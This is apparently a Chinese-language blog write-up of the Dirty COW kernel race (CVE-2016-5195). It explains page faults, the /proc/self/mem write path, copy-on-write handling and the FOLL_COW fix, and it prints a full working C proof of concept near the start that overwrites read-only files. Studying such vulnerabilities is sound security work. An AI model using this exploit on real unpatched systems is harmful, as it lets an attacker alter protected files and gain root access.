文章目錄
- poc
- 前置知識
- 頁表與缺頁異常
- /proc/self/mem的寫入流程
- madvise
- 漏洞點
- 修復
Dirty COW臟牛漏洞是一個非常有名的Linux競爭條件漏洞,雖然早在2016年就已經被修復,但它依然影響著眾多古老版本的Linux發行版,如果需要了解Linux的COW,依然非常值得學習。
漏洞:CVE-2016-5195
影響Linux版本:>2.6.22, <4.8.3 / 4.7.9 / 4.4.26
漏洞類型:競爭條件
使用Linux樣本:4.8.2
注意:4.8.2版本較低,如果使用較高版本的gcc編譯,可能會產生一些難以解決的問題,如一直重啟等,這里使用的是Ubuntu 16.04中的gcc完成編譯,在22.04的qemu中可以正常運行。如果不想自己編譯,筆者也將自己編譯的內核、文件系統等必要的文件上傳到了網盤以供下載。
poc
poc來源:資料
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <stdint.h>struct stat dst_st, fk_st;
void * map;
char *fake_content;void * madviseThread(void * argv);
void * writeThread(void * argv);int main(int argc, char ** argv)
{if (argc < 3){puts("usage: ./poc destination_file fake_file");return 0;}pthread_t write_thread, madvise_thread;int dst_fd, fk_fd;dst_fd = open(argv[1], O_RDONLY);fk_fd = open(argv[2], O_RDONLY);printf("fd of dst: %d\nfd of fk: %d\n", dst_fd, fk_fd);fstat(dst_fd, &dst_st); // get destination file lengthfstat(fk_fd, &fk_st); // get fake file lengthmap = mmap(NULL, dst_st.st_size, PROT_READ, MAP_PRIVATE, dst_fd, 0);fake_content = malloc(fk_st.st_size);read(fk_fd, fake_content, fk_st.st_size);pthread_create(&madvise_thread, NULL, madviseThread, NULL);pthread_create(&write_thread, NULL, writeThread, NULL);pthread_join(madvise_thread, NULL);pthread_join(write_thread, NULL);return 0;
}void * writeThread(void * argv)
{int mm_fd = open("/proc/self/mem", O_RDWR);printf("fd of mem: %d\n", mm_fd);for (int i = 0; i < 0x100000; i++){lseek(mm_fd, (off_t) map, SEEK_SET);write(mm_fd, fake_content, fk_st.st_size);}return NULL;
}void * madviseThread(void * argv)
{for (int i = 0; i < 0x100000; i++){madvise(map, 0x100, MADV_DONTNEED);}return NULL;
}
簡單解釋一下,這個程序需要兩個參數,第一個參數是需要被修改的只讀文件,第二個參數是可讀的其他文件。執行后第一個文件中的內容將會被改寫為第二個文件的內容。程序會通過mmap系統調用將第一個文件映射到內存空間,隨后創建兩個線程,一個線程循環通過write打開當前進程的mem虛擬文件對映射的內存進行寫操作,一個線程循環調用madvise系統調用提示內核:這塊映射的內存空間不再需要。這樣,這塊映射內存會在某個時刻被內核釋放掉。
那么這個漏洞的原理是什么呢?簡單看看上面的參考博客,發現要理解起來還是有一定難度的。
前置知識
頁表與缺頁異常
在操作系統這門課中我們學到,現代操作系統對于內存地址有一定的處理。內存被分為若干頁,在進程中被處理的內存頁均為虛擬內存頁,其地址與物理內存頁不同,因此需要有一個物理頁和虛擬頁的映射表。這個映射表由內存管理單元MMU管理,每一個進程都有一個映射表。
對于現代操作系統,頁表一般是多級的,這樣做的好處是可以節省內存空間,并降低頁表內存空間的連續性。什么意思呢?假如頁表只有一級,對于一個64位地址,最低12位作為頁內偏移,那么高52位都將作為頁表的索引地址。為了效率考慮,MMU只能使用數組進行索引,那么這樣的話就會有252個頁表項,而其中絕大部分都是空的,會大大浪費內存空間,且這塊空間是連續的。而如果使用二級頁表,中間12位為二級頁表索引,最高40位為一級頁表索引,這樣理論上只有240個一級頁表項,它們連續存儲的空間消耗大大小于只使用一級頁表的情況(雖然還是很大)。而當一個一級頁表對應的地址范圍都無效時,內存中完全可以不保存它所對應的二級頁表,將二級頁表的物理地址設置為0表示無效即可,這樣大大節省了空間。否則,一級頁表項保存其下的二級頁表地址。
目前主流x86 Linux系統使用4級(多數)或5級頁表,對于4級頁表,索引64位虛擬地址空間時,假設最低12位作為頁內偏移,每一級頁表項負責13位(實際不是這樣安排的),即一個一級頁表項下面有213個二級頁表項,一個二級頁表項下面有213個三級頁表項,以此類推。那么這樣一共就會有213個一級頁表。假設一個進程只有一個有效的虛擬內存頁,那么四級頁表系統只需要保存:213個一級頁表項(其中只有有效虛擬內存頁對應的一級頁表項具有有效的二級頁表地址)、213個二級頁表項(其中只有有效虛擬內存頁對應的二級頁表項具有有效的三級頁表地址)、213個三級頁表項(…)、213個四級頁表項(…),共215個頁表項,如果一個頁表項的大小為0x10字節,那么一共就只有320KB用來保存頁表項,對于現在的內存來說完全夠用。
由上面的分析可知,映射表中通常只會保存很少的頁表項PTE(Page Table Entry),頁表的級數越多,映射訪問需要訪存的次數越多,效率越低。為此,人們為現代OS提供了TLB進行訪存提速,它相當于一個能夠動態記錄頁表項且并行查找的硬件,這不是本文的重點,略過。
如果CPU訪問了一個虛擬地址,而這個虛擬地址不存在于任何一個PTE中,或者進行的訪問操作(讀或寫)在這個頁中沒有權限進行,那么MMU會向OS報缺頁異常。
缺頁異常一共分為3類:硬缺頁、軟缺頁以及無效缺頁。前兩種都是有效的缺頁,可以被合理處理;而后面一種是真正的異常,會導致進程立即中止。這三種異常到底什么意思呢?
- 硬缺頁異常:物理內存沒有對應的頁幀。什么意思?比如你的筆記本內存不夠,你設置了磁盤的內存交換,讓OS在物理內存不足時將暫時沒有使用的內存內容移動到磁盤中,空余出內存存放其他的重要數據。這樣,原來的內存數據就暫時不在內存之中,即沒有對應的頁幀。此類異常的處理通常需要較大開銷。(實際上的可能場景有三種,具體內容詳見資料,很詳細很長但是非常復雜,在此%一下作者,這是真大佬,沒見過對內核內存管理理解這么透徹的)
- 軟缺頁異常:物理內存有對應頁幀。這類大多是發生在寫時復制COW時,當父進程fork出一個子進程后,子進程需要對內存空間進行修改,那么OS就需要將父進程的部分內存復制一份,隨后將這個新的頁填入到子進程頁表的對應位置。
- 無效缺頁異常:要訪問的虛擬內存地址原本就是無效的,本來就不應該有物理內存映射。此類問題會報段錯誤并中止進程。
/proc/self/mem的寫入流程
(下面的函數名前面加@的帶鏈接可跳轉查看)
這是一個/proc目錄下的特殊文件,/proc/self表示當前進程,而mem則作為一個虛擬文件,表示當前進程的內存空間。
我們都知道,當用戶程序通過open函數打開一個文件時,內核會為用戶程序返回一個文件描述符,用戶程序后續可通過這個文件描述符整數對文件進行操作。為了將文件操作與不同文件(普通文件、進程文件、設備文件等)解耦合,Linux設計了一個file_operations
結構體,對文件描述符進行讀、寫等操作時,在內核中實際上是在執行file_operations
中的讀寫函數。
而對于/proc目錄下表示內存的文件,Linux內核定義了屬于這些文件的file_operations
:
static const struct file_operations proc_mem_operations = {.llseek = mem_lseek,.read = mem_read,.write = mem_write,.open = mem_open,.release = mem_release,
};
也即打開/proc/self/mem后,我們調用write
函數實際上在內核調用的是mem_write
。通過查看源碼發現,它實際上調用的是@mem_rw
:
- 內核首先會通過
__get_free_page
獲得一個臨時的空閑內存頁 - 使用
copy_from_user
將當前進程的內存數據復制到臨時頁。 - 調用
access_remote_vm
對臨時內存進行訪問,完成讀寫操作。
而對于access_remote_vm
(全部邏輯在@__access_remote_vm
),主要操作包括:
- 調用
down_read
為內存上讀鎖。 - 進入循環:
- 調用
get_user_pages_remote
函數,獲取要讀或寫的內存頁的物理地址。 - 如果內存頁獲取失敗,進行其他處理。
- 內存頁獲取成功后,每一次以一頁為單位進行讀或寫操作,首先計算要操作的內存大小,隨后調用
kmap
將要操作的內存映射到一個內核內存頁中。 - 如果操作為寫,則調用
copy_to_user_page
向映射的內存頁寫入數據,并設置內存頁為臟頁(set_page_dirty_lock
) - 調用
kunmap
解除映射,并刪除cache中的對應項。
- 調用
- 調用
up_read
為內存解鎖讀鎖。
那么這里面的重點就在于get_user_pages_remote
,它是如何獲取物理地址的。調用鏈為:
get_user_pages_remote__get_user_pages_locked__get_user_pages
主要邏輯都在后面兩個函數中。首先看到@__get_user_pages_locked
。這個函數中有一個大循環,其中調用了兩次@__get_user_pages
,這個函數內部的邏輯大概為:
- 定義一個
vm_area_struct
實例vma
初始化為空。vma
表示虛擬內存區域,通常與一頁或多頁相關聯。 - 一個大循環。
- 如果
vma
為空或要獲取的地址超過了vma
的范圍:- 調用
find_extend_vma
函數獲取vma
。 - 進行其他的處理,完成后返回或繼續進行下一頁處理。
- 調用
- 調用
follow_page_mask
獲取給定虛擬地址對應的物理頁。 - 如果沒有獲取到,可能原因是對應物理頁不存在或沒有寫權限:
- 調用
faultin_page
進行缺頁異常處理。 - 如果處理成功則重試,跳轉到調用
follow_page_mask
之前;否則返回或處理下一頁。
- 調用
- 否則如果頁表不存在,則處理下一頁。
- 否則如果返回錯誤值,立即返回。
- 進行頁面的其他處理,刷新計數器。
- 如果
下面看到@faultin_page
。這個函數里涉及大量針對flags參數的判斷與修改,根據源碼分析發現,傳入這個函數的flags參數為FOLL_TOUCH | FOLL_REMOTE | FOLL_GET | FOLL_WRITE | FOLL_FORCE
:
- 進行一系列判斷與變量修改。
- 調用
handle_mm_fault
處理缺頁異常,分配有效物理內存頁。 - 根據
handle_mm_fault
函數返回值進行其他處理。 - 如果需要寫且有寫權限,則去除
flags
中的FOLL_WRITE
標志位。
在@handle_mm_fault
中,首先檢查虛擬內存的權限,如果發現虛擬內存無效會給出SIGSEGV信號并返回。主要邏輯在@__handle_mm_fault
中。
在__handle_mm_fault
中,將會從一級頁表PGD依次向下獲取頁目錄,若分配失敗,表示內存不足,會返回VM_FAULT_OOM
。中間經過一系列處理后調用@handle_pte_fault
繼續進行處理。
在handle_pte_fault
中,由于上一級函數已經創建PMD三級頁目錄項,因此會進入第一個if語句將fe->pte
設置為空,由此進入第二個if語句。根據代碼分析可知,目前分析的調用鏈所處理的vma
不是匿名vma
,因此會調用@do_fault
處理后直接返回,下面的代碼不會執行。
在do_fault
中,由于我們處理的是寫的異常,因此會跳過前兩個判斷,進入第三個if語句調用@do_cow_fault
,即處理寫時復制所導致的缺頁異常。
在do_cow_fault
中:
- 調用了
alloc_page_vma
函數分配一個新的內存頁。 - 調用
__do_fault
處理異常。 - 調用
alloc_set_pte
函數將新分配的內存頁更新到PTE中。
到這里,__get_user_pages
函數就成功調入了這個內存頁,并將其地址存放到了頁表項中。隨后會通過goto retry
再一次調用follow_page_mask
。在第二次調用中,由于內核能夠找到相應的頁表項,因此在handle_pte_fault
中會執行后面的代碼。后面由于需要進行寫操作,因此會調用pte_write
函數判斷頁面是否可寫,這里顯然是不可寫。這樣就會調用@do_wp_page
并返回。
在do_wp_page
中,由于頁面本身不可寫,因此不能對頁面進行共享,而是只能進行復制(使用wp_page_copy
),而復制后的內存頁只屬于需要進行COW的進程,因此faultin_page
會給予寫權限,本次調用成功返回。隨后follow_page_mask
第三次來到retry標號處,隨后就可以使用follow_page_mask
成功獲取一個符合權限的存在的內存頁,COW流程結束。
madvise
madvise的一種易懂的理解是,我們用戶給內核有關于某一段內存的使用建議,告訴內核應該如何使用某一段內存。建議分為多種,下面是Linux源碼中的注釋:
/** The madvise(2) system call.** Applications can use madvise() to advise the kernel how it should* handle paging I/O in this VM area. The idea is to help the kernel* use appropriate read-ahead and caching techniques. The information* provided is advisory only, and can be safely disregarded by the* kernel without affecting the correct operation of the application.** behavior values:* ...* MADV_DONTNEED - the application is finished with the given range,* so the kernel can free resources associated with it.* ...*/
這里我們只關注MADV_DONTNEED
這個選項,它表示應用程序已經不再需要這段內存,可以讓內核調出這些內存頁。注意調出不是釋放,而是暫時不用。
漏洞點
上面的分析中,尤其是COW的流程難以理解,需要細細咀嚼。
而這個著名CVE到底是如何產生的呢?
需要注意的是,我們進行映射的那個文件原本是不可寫的,打開的時候也沒有嘗試獲取寫權限,但問題是,我們可以直接訪問當前進程的內存空間虛擬文件/proc/self/mem,而這個文件是具有寫權限的。
這就造成了一個問題:我通過打開這個虛擬文件對那塊不可寫的內存空間強行寫入會怎樣?這個問題我們在上面的分析中已經得到了答案——內核會通過COW機制讓本次寫操作寫入的是那塊映射內存空間的復制頁,如果我們不同時使用madvise競爭,寫入操作不會直接對映射內存寫入。這樣即滿足了映射空間不可寫的權限,也滿足了寫入的要求。
但現在,我們使用了madvise系統調用。如果我們在第二次調用follow_page_mask
之后讓madvise將本來分配到的內存頁又給調出去了,這樣的話第三次調用follow_page_mask
就不能正常獲取內存頁,但此時保存頁面權限的變量foll_flags
已經添加了可寫權限。因此follow_page_mask
第三次調用會將原來的文件的只讀映射副本重新調入(因為此時foll_flags
已經添加了寫權限,內核誤以為原本映射的內存頁可寫),這就造成了條件競爭漏洞,最終在第四次調用follow_page_mask
時獲取到原來的只讀副本并且能夠成功寫入。
修復
經過了一番分析之后,我們總算是理解了這個著名漏洞的成因,即權限變量與內存頁分離不同時存在導致可能產生條件競爭。那么要想修復這個問題,最為簡單的方法就是將二者進行綁定,不使用臨時變量判斷頁面的權限,而是直接將頁面權限字段加入到內存頁實例中,這樣,即使madvise成功調出了原先只讀的物理頁,follow_page_mask
獲取到的也依然是只讀的物理頁。
從ChangeLog可知,Linus Torvalds解決這個問題的方式比上面的方式更簡單,他添加了一個FOLL_COW
常量,專門用來處理COW流程,當要寫入的內存頁成功申請后,為變量添加FOLL_COW
而不是FOLL_WRITE
,將二者區分開來,這樣不必修改表示內存頁的結構體本身。